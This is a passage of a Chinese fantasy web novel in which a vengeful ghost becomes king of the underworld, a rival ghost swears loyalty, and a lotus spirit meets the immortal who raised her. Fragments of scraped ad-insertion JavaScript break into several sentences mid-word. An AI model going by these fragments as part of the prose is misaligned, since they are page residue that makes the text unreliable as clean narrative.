左铨怀着满腹不解一头栽倒在地,一双眼睛还死不瞑目地睁得老大,无论如何想不通厉无情要杀他的原因。 侍立在左铨身旁的几名万象宗弟子,根本都来不及反应,就眼睁睁地看着自家宗主被一箭穿心了。 “宗主。” “鬼箭。” “天啊,宗主被鬼箭射杀了!” 惊呼声中,一支接一支的鬼箭,还在迅疾如闪电般射过来,一个接一个万象宗弟子中箭倒下。 无论他们怎么努力闪避或拔剑阻挡,却根本快不过鬼魅之箭。 不过短短片刻功夫,所有的惊呼与惨叫就全部消失了,整艘船陷入一片死寂之中。 一袭白衣的厉无情,就像索命的白无常一样,足不点地飘过血迹斑斑的甲板,飘到已经断气的左铨身边,两道俯视的眼神漠然无比,冷酷有加。 ——姓左的,我说过,你活不了多久了!我上官鹤想杀的人,哪怕是天上的仙官都想拽下来要了他的命,何况区区一个凡人。 没过多久,满船尸体都和船只一起彻底沉入海底,什么都没有剩下。 沉船在海面上造成的最后一个漩涡消失后,大海恢复了原本的平静,仿佛什么都没发生过。 . 黄泉之下,无间鬼域,一个只有黑夜没有白昼的幽灵世界。 无间鬼域的中心是幽都,幽都的中心是幽府——这座栋宇壮丽的七层楼阁,是鬼王专属的府邸,其他鬼没有资格入住。 三百年前,先任鬼王江天旷殒命之后,幽府就成了一座空宅。 不是没有鬼想住进去,而是没有那个实力的话,进去就是送死。 没有鬼王的幽府,相当于一座擂台。任何鬼走进幽府大门,就等于上了擂台,要接受其 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他牛鬼不服气的挑战。 这样的挑战是在所难免的。 凭什么大家要认你这个鬼王?你到底有什么能耐?想称王可以呀,先摆平了所有反对者再说。 而且像这样的挑战,并不是一个一个轮流出战的文明比赛,单打独斗和组团作战都可以,规模甚至可以达到成百上千的鬼展开一场大厮杀。 总而言之,鬼王争霸赛,没有规则,不讲公平,以多胜寡是常态。 想要入主幽府成为鬼王,如果没有能够震慑群鬼的绝对实力,那就无异于自寻死路。 . 这一天,已经空置三百年之久的幽府,突然亮起了灯火。 七层楼阁的飞檐下,一盏又一盏渐次亮起的白灯笼,仿佛是无数颗夜明珠,在黑暗中闪烁着幽幽华彩,让人想要看不见都难。 “快看,幽府亮灯了,幽府居然亮灯了!” “真的呢,有鬼进去了,也就意味着新的鬼王争霸要开始了!” “到底是谁进去了?” “应该是厉鬼应长恨,他不是炼成了万骨枯的法宝嘛,自然是有底气进幽府接受挑战了。” “是啊,听说他那个法宝超厉害,一使出来就团灭了锦霞峰顶的所有修士。” “能对付修士,未必能对付鬼吧?鬼又没有血肉可吸。” “那就不知道了。反正应长恨想要当上鬼王,肯定还得过五关斩六将才行。毕竟他是四大恶煞中成名最晚的一个,疫鬼厉无情肯定头一个不服。” “这么说来有好戏看了?” “那是自然,走走走,快点过去找个好位置看戏吧!” 幽府位于幽都的中央,以此为中心四面八方辐射出幽都的大街小巷。 七层楼阁的灯光一亮,无论幽都中的鬼众身在何方,都能望见这百年不遇的光景,也都像趋光的飞蛾般密密涌来。 . 当幽府华灯灿灿的七层楼阁,被四面八方赶来的鬼众围得水泄不通时,应长恨在楼阁最高处的攒尖顶上亮相了。 他依然是一身黑袍,但不再是朴素的棉布料子,而是名贵之极的织锦锻。 无数根纤细的金丝银线,在纯黑底色上交织出繁复瑰丽的花纹,随着光线的变化折射出多彩的光泽,是一种五彩斑斓的黑。 一袭流光溢彩的华美黑袍,把傲然伫立的应长恨烘托得威仪非凡。鬼王的名号虽然还未到手,鬼王的气势已然十足。 “诸位,幽府空置已久,我今日要入主为王,如有不服者就站出来挑战。” 不服者自然是大有鬼在,不少颇有名气的牛鬼,都抱团组队地站出来表示不服。 就算他们都缺乏成为鬼王的实力,可其他鬼想要问鼎这一宝座的话,他们却是可以联合起来干翻对方的——我当不了,你也休想。 这种心理十分常见,没有成功的能力,却有搞破坏的能力。 “厉鬼,你虽然是四大恶煞之一,但成名才三百年,远不如其他三位,凭什么当这个鬼王?我等不服。” 应长恨言简意赅地回答道:“不服就打,打服为止。” 71.鬼域之王 幽府前是一块长方形的空地,可以容纳数百人齐集一堂,这儿也是每次鬼王争霸赛的斗战之地。 抱团组队来挑战的牛鬼们,几乎把空地占去了大半。他们呈现扇面散开形成围剿之势,等着应长恨从楼顶落下时群起而攻之。 然而,应长恨却站在楼顶纹丝不动,只是随手挥了一样东西下来。 “那是什么?” “好像是一个骷髅头。” “那不就是他的法宝万骨枯嘛!” 挤在空地旁围观的鬼众们,和站在空地中准备挑战的牛鬼们,都还没有完全看清楚阿福的模样,它已经张口喷出无数惊涛拍岸似的黑气,顷刻间就笼罩了整块空地。 无间鬼域是一个只有黑夜没有白昼的地方,生活在这儿的鬼众,要比其他地方的人们更习惯黑暗。 然而,这股黑气却比他们之前见过的任何黑都更黑。 黑气笼罩下的空地,就像变成了一个黑洞,所有光线都被吞噬一空。除了黑还是黑,其他一切仿佛都已经不复存在。 “这些黑气是什么情况?” “法宝发威了,被黑气笼罩的那些牛鬼,恐怕都要不妙了!” “可万骨枯不是吸血肉的吗?鬼没有血肉怎么吸呢?” “你问我我问谁呀?等着看结果吧!” 这样的疑惑不解,在阿福吸回所有黑气后得到了答案。 空地上所有挑战的牛鬼们,好不容易修成的肉身已经变成了半透明的魂体,而且还在继续透明化中。 “天啊!他们的魂体要消散了!” 鬼魂本质上就是魂魄之体,一旦魂魄没了,就会魂体消散,从此彻底湮灭于三界之中。 围观的鬼众无不胆战心惊,有个鬼一边擦着冷汗一边点评。 “看来万骨枯的黑气,遇上活人吸血肉,遇上死鬼吸魂魄,无论是人是鬼,都逃不出它的致命威力啊!” “厉鬼能炼出这么厉害的法宝,鬼王的宝座非他莫属了。” “是啊,当年江天旷能当上鬼王,也是靠手中那一杆散魂黄金钺。” 钺是一种形制似斧的兵器,分长杆之钺和短杆之钺。 江天旷的独门武器散魂黄金钺就是长杆之钺。 顾名思义这是一件能够重创魂魄的大杀器,能让人的魂魄从肉身中离散,更能让鬼魂彻底消散。 当年江天旷正是凭借这一杆散魂黄金钺,打得无数挑战者魂飞魄散,最终笑傲群鬼入主幽府,成为无间鬼域的一代鬼王。 所有挑战应长恨的牛鬼们,魂体很快彻底透明成虚无。空地上原本鬼影幢幢的,现在已经变成了空荡荡的一片。 幽府的三层楼阁上方,应长恨冷冷的声音如雪花般飘落。 “还有谁不服?只管站出来。” 楼下是死一般的寂静,所有的声音都像凝结成了冰。 朱颜悔一直藏身于暗处作壁上观。她才不会傻傻地跑去当出头的椽子,既然有沉不住气的鬼跳出来蹦达,她当然是先躲在一旁观望为妙。 观望的结果让朱颜悔暗自心惊:厉鬼这个法宝真是厉害呀!我如果再挑唆疫鬼继续跟他斗,恐怕他不会犯这个蠢呢! . 死一样的寂静中,突然涟漪般荡起了一丝小小的骚动,因为围观的鬼众们发现了一道白色身影飘然而来。 “快看,那是不是疫鬼来了?” “是的,就是他。” “你们猜他还会继续挑战厉鬼吗?” “谁知道呢,疫鬼可是一个让人捉摸不透的鬼。” “除了神龙见首不见尾的水鬼外,疫鬼就是四大恶煞中成名最久的人。我要是他,肯定不服被厉鬼后来者居上。” “服不服是一回事,能不能挑战成功又是另一回事。我个人觉得,如果没有十足的把握,疫鬼应该不会轻举妄动,否则不就成了送死嘛!” 在幽府前的空地上轻盈落定后,厉无情仰头望向七层楼阁的最高处,那里是傲然伫立的应长恨。 他俩的目光在半空中相遇时,几乎像刀剑般撞击出铿锵的声响。 四周鸦雀无声,深渊似的沉默笼罩着一切。 所有鬼众都屏声息气地注视着这两大恶煞的对峙,谁也不知道接下来会发生什么。 朱颜悔紧紧盯着厉无情的背影,在心底一迭声地催促道:别看了,有种你倒是快上啊! 如果厉无情不服应长恨入主幽府,对他发起挑战,无论结果如何,对朱颜悔都只有好处没有坏处。 反正他死了她又不会伤心,他要是能和应长恨两败俱伤,那她可就要开心了。 事与愿违,朱颜悔没能看到自己最想看到的一幕。 厉无情非但没有对应长恨发起挑战,反倒一掀白衫下摆,单膝下跪向他行了一个礼。 “参见鬼王。” 这四个字一出,鬼王争霸赛就算是尘埃落定了。无数鬼众纷纷弯下膝盖,跟着厉无情一起跪拜新鲜出炉的鬼域之王。 朱颜悔想要坐山观虎斗的打算彻底没戏了。 无可奈何地暗咬了一下银牙后,她翩然飞出藏身之所,满脸娇笑地加入了跪拜鬼王的大部队。 “参见鬼王。” 伫立于幽府最高处的应长恨,俯瞰着下方俯首称臣跪满一地的鬼众们,胸口涌上一股热潮,眼眸在黑暗中亮得格外灿烂。 三百年了,他终于成了无间鬼域的新任鬼王。有了鬼王这一身份,他那个很难实现的心愿就有了指望。 . 幽府灯火通明的正堂中,荣升鬼域之王的应长恨,召见的第一个人就是率先尊其为王的厉无情。 “之前你为了争夺鬼王之位对我下黑手的事,我可以过往不咎。但丑话说在前头,你要是还居心叵测的话,我绝不轻饶。” “我既已臣服鬼王,便不会再生贰心。今后定唯鬼王之命是从,鞍前马后效力。” 厉无情语气恭敬,态度恭谨,那副低眉顺眼的样子,完全不像是令人闻风丧胆的恶煞。 虽然他这番话说得比唱得还好听,但应长恨才不会轻易相信,唇角扯出一缕皮笑肉不笑的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 假笑。 “那就再好不过了。眼下我没什么需要你效力的事,倒是有一个命令需要你遵守。” “鬼王只管吩咐。” “当初救了我的和光,不准你再动他一根手指,能做到吗?” “鬼王请放心,我与和光已经化敌为友,以后肯定不会再伤他分毫。” 应长恨出其不意地一怔,“这是什么时候的事?” “前两天,我去无极宗拜访宗主阴有苓的时候,正好遇上了和光。阴有苓从中斡旋,我们就握手言和了。” 应长恨知道阿难去了无极宗,却不知道厉无情居然也去了那儿,一时间很是想不明白。 “你为什么要去拜访阴有苓?” 厉无情坦然相告:“因为听说了有关她与你的传闻,所以觉得她或许能成为一枚用来制衡你的棋子。” 应长恨后知后觉地明白了,“你能如此直言不讳很好,继续往下说。” “这个说起来就话长了。” . 那日在无极宗与阴有苓说完前世种种后,厉无情还关心起了她今生的际遇。 “我来之前打听了一下你的事,听说你原本要和师兄晁定武成亲的,可是他却在大婚当天丢下你跟一个妖女跑了。这家伙如此可恶,我定会把他找出来射成刺猬替你出气。” 阴有苓不假思索地拒绝道:“不用了,我的事你别管,我自己会处理。” 厉无情欲言又止,阴有苓毕竟没有前世记忆,今生与他不过是初相识,自然不愿意让他插手自己的私事,他也不好坚持。 迟疑片刻后,他又提出另一个自己很关心很在意的问题。 “那个和光跟你也算不上交情很深吧?他已经知道了你我的关系,如果告诉应长恨的话,恐怕你就要成为他用来对付我的工具了。要不我杀了他灭口,你就当什么也不知道。” “什么?不行,你不能这么做。” 阴有苓再次断然否决。 “你这是典型的以己之心度他人之腹。你想利用我去对付应长恨,就担心他也会反过来用这招对付你。虽然我不知道应长恨会不会这么做的,但是阿难肯定不是这种人。” “人心隔肚皮,不可不防。与其整日里担心受怕,自然是不如提前下手永绝后患。” “厉无情——上官鹤,我不知道你沦为奴隶后吃了多少苦遭了多少罪,所以会产生这样偏激的想法,但我很不认同这种为了自保不择手段的行为。” 顿了一下后,阴有苓又放缓声音劝说厉无情。 “如果你真心想要自保,不如爽快一点承认应长恨是新任鬼王,别再继续跟他作对。纸终究包不住火,你要是杀了阿难灭口,一旦消息泄露只会死得更惨,到时候我没准也会被你连累得很惨。反倒事与愿违了,不是吗?” 一语惊醒梦中人,厉无情就算是再心有不甘,也知道自己不能再跟应长恨对着干了。 曾经的他,可以百无禁忌地跟任何人作对。可如今的他,已经有了阴有苓这一软肋,行事也就有许多顾忌。 72.软肋 厉无情和阴有苓前世有夙缘的事,他选择对应长恨如实相告。既然瞒不住,不如自己主动亮出软肋所在,更能彰显他向应长恨投诚的诚意。 “想不到阴有苓前世竟是你妹妹,今生有缘重逢,真是夙缘难了。” “已经千年光阴过去了,我也没想到自己还有机会再见到她。” “隔世重逢极为罕见,你的运气真好。” 一边感慨着厉无情运气好的同时,应长恨一边觉得自己的运气也不错。 如果不是因为阴有苓,厉无情肯定还不会善罢甘休,会联合朱颜悔一起来搅局,他想当上鬼王估计还得杀了这两大恶煞才行。 如今能够兵不刃血地坐上鬼王宝座,真是省了不少麻烦。 如无必要,应长恨并不想杀厉无情和朱颜悔,这两员大将如果能收归麾下任他驱遣更加有利。 厉无情再次单膝下跪道:“当日在锦霞峰顶,鬼王没有杀阴有苓,才让我有机会与之重逢。这份恩情我铭记于心,今后愿誓死效忠鬼王。” “这话你之前说我是不信的,不过现在我信了。起来吧,以后我们或许可以共谋大业。” . 跟厉无情交谈完毕后,应长恨又召见了朱颜悔,给她下达了同样的命令,不准再动阿难一根手指头。 朱颜悔这才知道,去年在华城摆了自己一道的奸诈小妖,不知道怎么居然抱上了新任鬼王的大腿。 有了这座大靠山替他撑腰,她想要宰了对方出气的念头就只能悻然作罢。 “也不知这位和光公子是几辈子修来的福分,竟能成为鬼王的朋友,真是让人好生羡慕呢!鬼王请放心,日后我见到和公子时自然是以礼相待。” 朱颜悔低眉顺眼的恭敬姿态,比厉无情还要有过之而无不及。但是应长恨同样不会轻信,唇角勾起一抹似笑非笑的弧度。 “很好,那我就放心了!” 原本应长恨觉得厉无情比朱颜悔更难掌控。但是有了阴有苓,厉无情倒不成问题了,所表现出来的臣服可信度极高。 相比之下,朱颜悔的臣服就没那么可信。 朱颜悔是一个多么疯批的美人,应长恨已经从阿难那儿听说了。他那趟禹杭城邹府之行,所见所闻都一五一十全告诉了他。 心肠狠毒、行事疯狂的魅鬼,绝不是一个轻易会对他人俯首贴耳的人,也是一个行事毫无顾忌的人。 无论朱颜悔此刻在应长恨面前表现得够温顺,但如果有机会插他两刀,他想她是肯定不会犹豫的。 曾经的厉无情,是比朱颜悔更狠的狠角色。 而如今他有了软肋,就有了弱点,不能再肆无忌惮地好勇斗狠。还愿意为了保护自己心中最重要的那个人,选择妥协与退让。 应长恨也曾是一个没有软肋的人,但是他却遇上了阿难,并与之成为生死之交。有了这么一位朋友后,他也就有了弱点。 以前应长恨觉得独自一人了无牵挂很好,没有软肋就不会被任何人拿捏。但是现在多了这么一处软肋,他也觉得没什么不好的。 一个人孤独了几百年,人间的温情,人心的温度,他都几乎完全陌生了,可是如今他又重新体会到了这一切。 一个没有软肋的人,既是很可怕的人,同时也是很可怜的人。 如果世间千千万万的人之中,没有一个值得他或她在乎的人,也就意味着人生在世,他们从未得到或是已经失去生命中最重要的情感寄托。 应长恨与厉无情,曾经都是这样的人。但他们现在一个重拾了亲情,一个收获了友情。 而朱颜悔曾经是、现在依然是这样的人。 . 海中洲,昌城。 昌城城南一家颇为气派的悦来客栈,是阿难和任天真的下榻之处,他们已经在这里住了两天了。 太平岛上的摩宵宫,作为无极宗的仙府,无论是门楣上挂着的匾额,还是庭院中镇着的仙剑,都能对妖魔鬼怪起到一定的威慑力。 低阶妖邪都不敢靠近,高阶的也不适合在那儿久留。 所以,那日阿难和任天真在摩宵宫只呆了半天,下午就一起乘船离开太平岛。 二人直奔昌城,大传特传阴有苓凭仙剑日月明力克疫鬼厉无情的消息。 这两天,这一消息已经传遍了整个海中洲,接下来还将传往天南地北。 作为修真界前所未有的首位女宗主,阴有苓的名号也算是彻底打响了。以后,再也没人敢唧唧歪歪说她不配执掌无极宗。 这日下午,阿难和任天真再次登上太平岛,向阴有苓报告这一喜讯,她对此并不感到振奋。 “我并没有这样的实力,不过是在虚张声势,教人不敢轻易来犯,终究不是长久之计。” 阿难道:“虽然不是长久之计,但是能解一时燃眉之急,总好过被左铨带人来强占了摩宵宫,至于实力你可以日后再努力提升。” 任天真笑着点头道:“是啊阴姐姐,也只有你才能得到厉无情这样的配合,让人轻易不敢来犯无极宗了。那个万象宗的左铨,昨天一早就夹着尾巴溜了。” “他倒是溜得快,这样也好,省得留在这儿碍眼了。” “阴姐姐,真没想到你前世居然和厉无情是兄妹,今生还凭借一个金吊坠相认了,这是什么奇妙的缘分啊!” 阴有苓情不自禁地摸了一下胸口那枚小金兔吊坠,要不是有这个保命,那天晚上她已经被直接扼杀了。 关于二人前世的关系,厉无情特意叮嘱阴有苓不要对外透露。 阿难和任天真已经知道了也就罢了,但具体细节也不要说太多,其他人更是要瞒得密不透风。 “我在无间鬼域称霸多年,树敌无数。如果被别人知道你是我妹妹,对你没有任何好处。况且我还要找陆衢报仇,一旦有机会杀死他绝对不会手软,我不想到时候连累你遭报复。” 没有前世记忆的阴有苓,对于厉无情这个突然蹦出来的疫鬼哥哥,实话实说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 很难产生什么亲情了。 他对她来说不过就是一个陌生人——陌生鬼,并且是臭名昭著的四大恶煞之一,相认之前还差一点就亲手要了她的命。 不过听完厉无情这一番话,阴有苓心里倒是漾起了一丝微妙的感觉。她虽然没把他当哥哥,但他却是实打实地当她是妹妹呵护有加呢! 所以厉无情的交代,阴有苓都听在耳中记在心里。两个人前世的经历,就算对阿难和任天真也没有透露太多。 她只是简单提了一下,当年他们是西郢国都城的一对贵族兄妹,国破家亡后一个投井自尽,一个沦为奴隶。 厉无情为此恨透了太玄真君陆衢,因为他就是率军灭了西郢国的罪魁祸首。 任天真听得不胜同情,“所以前世的你小小年纪就被迫选择自尽,这也太惨了吧!” 阿难叹气道:“生逢乱世是很惨的,山河破碎就难免生灵涂炭,人命贱如草芥一般。” “西郢国灭好像是千年前的事,厉无情恨了太玄真君千余年,一直念念不忘要报此仇,也是够执著的。” “其实我想劝他放下执念,毕竟找太玄真君寻仇可不是件容易的事。就算能成功他也绝无可能全身而退,到时候肯定难逃一个魂飞魄散的下场。” 阿难摇头道:“没用的,执念之所以是执念,就是因为放不下。如果不是这个强烈的执念支撑着,厉无情也不会成为厉无情,早就在无间鬼域的进阶过程中被其他鬼吞噬了。” 任天真也大有感触地道:“这倒也是,或许每个人都有自己的执念所在,也因此造就了现在的自己。” 阿难半真半假地打趣道:“真真姑娘好像也有自己的执念呢?” “我也不知道算不算执念,因为对于得不到的东西,我从来都没有强求过,只是会在心里为其保留一个位置。” 阴有苓道:“我爹说过,凡事不强求,就是人生最大的智慧了。” 阿难也附和地笑着点头,“真真姑娘,看来你是一个有大智慧的人呢!” 任天真笑成了一朵摇摆的花,声音琅琅道:“我一个小女子,居然有大智慧。好吧,不管你们是不是真心夸我,我都照单全收了。” . 黄昏时分,夕阳的余晖为湛蓝海面披上一层轻薄的金纱。船行其间,荡开无数金色的波浪。 有船工负责摇船,身为雇主的阿难和任天真,只需要坐在船舱里看风景。 窗外是渐渐远去的太平岛,草木葳蕤的小岛,如同一块绿宝石镶嵌在蔚蓝色的大海中。 阿难腕间的虎头铃铛,突然似有若无地叮了一声,听得他目光一凝。 一旁的任天真虽然没有法宝报信,却也有所察觉地对阿难说:“你感觉到了吗?好像有人在盯着咱们。” “我只是一介小妖,没有你那么敏锐的感知。不过你既然这么觉得,那应该不会有错了。” 阿难的话音未落,狭小的船舱里,突然就凭空多出了一个人。 73.明光 那是一个约摸三十岁左右的男子,穿着一袭简单的蓝色苎衣,容貌十分英武,一双眼睛更是神光炯炯。 哪怕衣着朴实无华,也不会让人误会他是普通人,更别提他还是平空出现在船舱中。 任天真只一眼就认出了这个人,意想不到地瞪圆了眼睛。 “华源真君。” 这位突然出现在船舱里的蓝衣男子,正是华源真越君朴。对于一眼认出了自己的任天真,他眉头蹙得紧紧的,满脸一言难尽的神色。 “你……不会真是你吧?” . 仙剑日月明现世后,无论是之前扎根于步云山,还是现在扎根于摩宵宫,都是越君朴高度关注的对象。 这柄与主人失散的仙剑,一直在等待着自己的主人。 而他也在等着那位主人的出现,等着看当年的仙官、如今的妖怪,要如何收回自己曾经拥有的神兵。 阿难和任天真乘船离开太平岛时,被刚巧下凡来此查看的越君朴遇上了。 当发现这一男一女都是妖后,他自然很想弄明白一点——他们当中是否有一位就是由仙变妖的明光。 无极宗的仙府所在地,妖怪是没有理由往这儿跑的,只有想要收回仙剑日月明的明光才有这个必要。 而这一男一女两个妖怪,到底谁更有可能是明光呢? 越君朴的第一反应是男妖。 暗中观察了一番后,他发现这个男妖只是一个妖气都藏不住的小妖。相比之下,女妖身上的妖气几近于无,是一位修为高深的大妖。 这种情况让越君朴有些拿不准,男妖太弱了,女妖又太强了,似乎都对不上明光遭贬下凡的三百年修为。 不过如果他俩当中真有一个是明光的,还是女妖更有可能。 前世的他那么强,今生不太可能是个弱鸡,就算做了妖肯定也是大妖,这三百年没准能修炼出六百年甚至是九百年的修为。 只是有一点对不上号,明光是男人,怎么会变成一个女妖了?转念一想后,越君朴又觉得或许是因为他身不由己。 当初走畜生道下凡,就注定明光会重生为飞禽走兽鳞介虫豸中的一员,而此类动物也是有雌雄之分的。 要是运气不好,投了雌体之胎,那他也只能别无选择地当女妖。 . 为了试探一下女妖到底是不是明光,越君朴故意在船舱中现身。虽然他一身普通凡人的装束,但那张脸却是神仙本尊的脸。 神仙的真容,跟神庙里塑造的神像有一定区别,如果不是天神下凡那种大阵仗,凡人见了只会觉得有些眼熟。 但如果是明光的话,肯定一照面就能把他认出来。 那个女妖还真认出了他,脱口而出地喊道:“华源真君。” 推测是一码事,事实果真如此又是另一码事。越君朴脸上的神色除了一言难尽还是一言难尽。 “你……不会真是你吧?” “华源真君,你这话什么意思?什么叫我不会真是我?” 任天真都听糊涂了,满脸疑惑不解的样子不像是装的,越君朴感觉似乎出了什么差错。 “你是何妖?为什么一眼就能认出我?” “华源真君,因为我和你大有渊源。很久以前你还没有飞升成仙的时候,有一次游历白鹊山发现了几枚古莲子,还精心培植让它开出了花。这事你还记得吗?” 这件事越君朴还是有印象的,下意识地点头道:“记得。那是五百多年前的古莲子,经过培育后有一枚发了芽开了花。” “我就是那株开花的古莲修炼成精的。华源真君,我任天真能有今时今日,都要多谢你当年的栽培之恩。” 任天真定定地看着越君朴,一双眼睛格外晶亮,璀璨如宝石,灿烂似星辰。唇角绽出一朵情不自禁的笑容,甜得像蘸过蜜。 阿难目睹了这一幕,忽然就如醍醐灌顶般蓦地明白了很多事。 任天真的执念是什么;她为什么想要成仙;还有她身边出现过的那些吕郎孔郎,为什么都让他感觉有点眼熟。 因为那些男子的五官轮廓,或多或少跟越君朴有一点相似之处。这才是任天真见了他们心生欢喜的原因所在吧? . 越君朴没想到,任天真居然是自己当年亲手培植的古莲花成精。 当年为了让古莲子开花,越君朴在白鹊山住了三年,花了不少心思。 当沉睡五百年之久的古莲子,终于开出映日迷霞的花,花灵显然也随之诞生,还牢牢记住了他这位恩人。 离开白鹊山不久后,越君朴就飞升成仙了。 作为准仙官一手种出来的莲花,这段仙缘让任天真的修炼之路走得十分顺利。 再加上她本就是五百年的古莲子,再修上五百年,就有了不亚于千年大妖的高超修为。 弄明白了莲花花妖的来历,越君朴就不奇怪她能一眼认出自己了。蓦地扭过头,看向一旁瑟缩成鹌鹑状的阿难打量起来。 “小妖拜见上仙。” 小妖遇上神仙,一般都是要多怂就多怂。阿难冲着越君朴点头哈腰直作揖,一副怂得让人没眼看的怂样。 只扫了一眼,越君朴就立刻做出判断:他不可能是明光。 明光当年是何等骄傲的人物,就算在紫衡帝君面前,也是不卑不亢的态度,从来没有对任何人点头哈腰过。 一个十八岁就霞举飞升的少年仙官,来到云间仙境后又成为一人之下万人之上的灵曜天君。 他的才能、地位与成就,都是他骄傲的本钱,同时也是他不招仙僚喜欢的原因。 成仙这条路殊为艰难,许多仙官都是修行多年才能飞升,然后在云间仙境慢慢熬资历成为有地位的资深大仙官。 大家都是这么熬过来的,偏偏明光年纪轻轻却力压群仙,飞升后直接成了天界的第二号人物。 这让诸位仙僚怎么可能喜欢他呢?就连他的名字,都让他们心生不满。 当年明光出生的时辰,是艳阳当空的正午,明定远为儿子取名时如是说:“白日正中时,天下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 共明光——这孩子就叫明光吧!” 得知这个名字的由来后,不少仙官都私下嘀咕道:“天下共明光——他以为自己是天下共主吗?真是好大的口气。” 喜欢也好,反感也罢,明光统统不在乎,永远骄傲地高昂着头颅走在云间仙境,挺拔笔直的腰杆如劲松一般。 时隔三百年,越君朴依然清晰记得明光当年骄傲非凡的样子。 那时云间仙境很多人都看不惯,他就是其中之一。等到有机会能打下这股傲气,他自然半点没有手软。 明光走畜生道下凡后,多年来音讯全无。云间仙境偶尔有人提起他时,都猜测他没准是已经废了。 成为罪仙被贬下天界已经很惨了,更何况还是沦为畜生之流,这样的大起大落能有几个人承受得起? 如果明光因此绝望自暴自弃,变成一摊糊不上墙的烂泥,也没什么可奇怪的。 但是越君朴不这么觉得,直觉告诉他,明光是绝对不会自我放弃的,而仙剑日月明的现世也证明了这一点。 虽然仙剑的封印松动与厉鬼应长恨有关,但是能彻底解开封印的人非明光莫属。 当年他走畜生道下凡后,无论变成了飞禽走兽鳞介虫豸中的哪一类,现在都已经修炼成精,还在试图收回自己的仙剑。 . 眼前一男一女两个妖,一个笑语嫣然毫无怯意,一个却怂得把自己缩成了一只受惊的鹌鹑。 越君朴没有找到要找的人,兴致索然地垂下眼睫。 “华源真君,你好像在找人,刚才是不是误我把当成别人了?” 越君朴不答反问道:“你俩都是妖,为什么要去太平岛?无极宗的仙府所在地,可不是适合妖邪闲逛的地方。” “我们虽然是妖,但跟无极宗的宗主阴有苓是朋友呢!因为仙剑日月明的现世,最近无极宗成了很多人觊觎的一块肥肉,阴有苓独木难支,我们作为朋友当然要尽一份力帮她了。” 越君朴无法不讶异,“你们是妖,却在尽力帮一个修仙门派?” “无极宗不是普通的修仙门派。华源真君,是你造就了如今的我。无极宗作为你的师门,我一直都是另眼相待的。何况我和阴有苓一见如故、意气相投,这个忙自然是要尽力帮一帮。” 任天真为报当年的栽培之恩,不会对无极宗遭人觊觎的处境坐视不管,理由十分充分。 越君朴不觉瞥了那个缩成一团毫无存在感的男妖一眼,想不通这个怂包能尽什么力。 “你和阴有苓也是朋友?” “回禀上仙,当初阴宗主捉妖时对我高抬贵手过。如今她麻烦缠身,我自然要知恩图报。就算没什么能力,也该有多少力出多少力。” 阿难恭敬有加的回答滴水不漏,越君朴听不出什么破绽,倒是心生感慨。 无极宗没落多年,在修真界已经属于边缘门派。 此番因为仙剑日月明这个烫手山芋般的存在,还成了被其他修仙门派觊觎的对象,惹来不少麻烦,唯有两个妖愿意出手相助。 74.执念 越君朴是不能管的,神仙不能轻易插手凡间俗务,尤其不能对自己飞升之前的家族或师门有照拂之举。 否则就是触犯天规,会因为尘缘未尽、凡心未了被贬下天界打回凡人重新修行。 天规森严,越君朴自然不敢触犯。 无极宗的风雨飘摇都只能靠阴有苓自己去撑,如果实在是撑不起门户,这个修仙门派就此彻底湮灭,也是它气数已尽。 “如果不是明光,无极宗现在也不至于衰败没落成这样,什么牛鬼蛇神都敢打上门来欺负。” 越君朴不自觉地发了一句牢骚,任天真深以为然地点头。 “是啊,就像一颗老鼠屎坏了一锅汤那样,一个明光让整个无极宗都遭遇了无妄之灾。他被贬下凡三百年都杳无音信,估计也是羞愧到没脸出来见人了。” 因为越君朴的栽培之恩,任天真对无极宗也爱屋及乌,而凭一己之力搞垮了无极宗的明光,自然是得不到她的好感。 阿难只听不说话,他只想努力降低自己的存在感,才不会加入他们的对话行列。 “不见的,仙剑日月明已经现世,他肯定也要出来蹦达了。” 任天真有些不解地眨巴着一双水汪汪的眼睛。 “作为一个被打落凡间的罪仙,他还能怎么蹦达?除非是能重新飞升成仙,否则也翻不了盘吧?” . 一般被天界贬谪的罪仙都是流放。 流放后虽然不再是仙官,但到底还是仙身,也还有一线机会被召回云间仙境,就算概率极低也是个盼头了。 更严重的惩诫是打落凡间,罪仙走人道下凡后仙身不复,一切都要重头来过。 作为罪仙,重新修仙的难度有增无减,能做到这一点的人寥寥无几。 当年明光遭贬时,紫衡帝君按照惯例,向人间凡界的所有修士下达梦诏。 ——通过梦境告知这位灵曜天君因触犯天条被打落凡间,即日起他的神庙神像都将不复存在。 帝君的诏令自然不是说着玩的,很快遍布大江南北的明光庙都陆续毁于雷火。 就连他的师门无极宗,也被一场威力惊人的雷火焚烧殆尽。 任天真并不知道当年明光被打落凡间时,越君朴故意开“错”了畜生道。 他不再是仙,也不再是人,想要重新有个人样,只能在沦为畜生后修炼成精化形为人。想要再次飞升成仙,更是难上加难的难事一桩。 越君朴自然也不会告诉她,这件事只有云间仙境的仙官们才知道,其他二界都无人知晓。 而亲身经历了这一切的阿难,像个锯了嘴葫芦般一言不发,沉默得像是完全不存在。 “你叫任天真?” 越君朴没有回答任天真的好奇询问,而是岔开了话题。 “对,我叫任天真。当年古莲子终于开花后,你在赏花时念了一句诗——惟有绿荷红菡萏,卷舒开合任天真。我就从中挑了这三个字作为自己的名字。” 这个细节越君朴倒是不记得了。毕竟是五百多年前的往事,相关记忆就如同一幅彩画,曾经清晰艳丽的笔触已经模糊褪色。 任天真的记忆却始终鲜明如昨。 那日她灵智初开,见到的第一个人,听到的第一句话,就如同朱红印泥般,在心田中印下了永远不会消失的印记。 “任天真,你修炼成精已经五百余年,在人间凡界是不是认识不少妖?” “算是吧,怎么了?” “你认识的妖中,有没有只修炼了两三百年左右,修为却不算低的妖?” 任天真想也不想地就摇头。 “没有,只修炼了两三百年的都是小妖,修为不可能高的。华源真君,你为什么会这么问?该不是天界有什么仙禽神兽下凡当了妖怪吧?” 只有仙禽神兽下凡为妖,修为才有可能远高于修炼年限。 毕竟它们在云间仙境被仙气滋养过,跟人间凡界的同类相比,底子更厚实力自然也就更高。 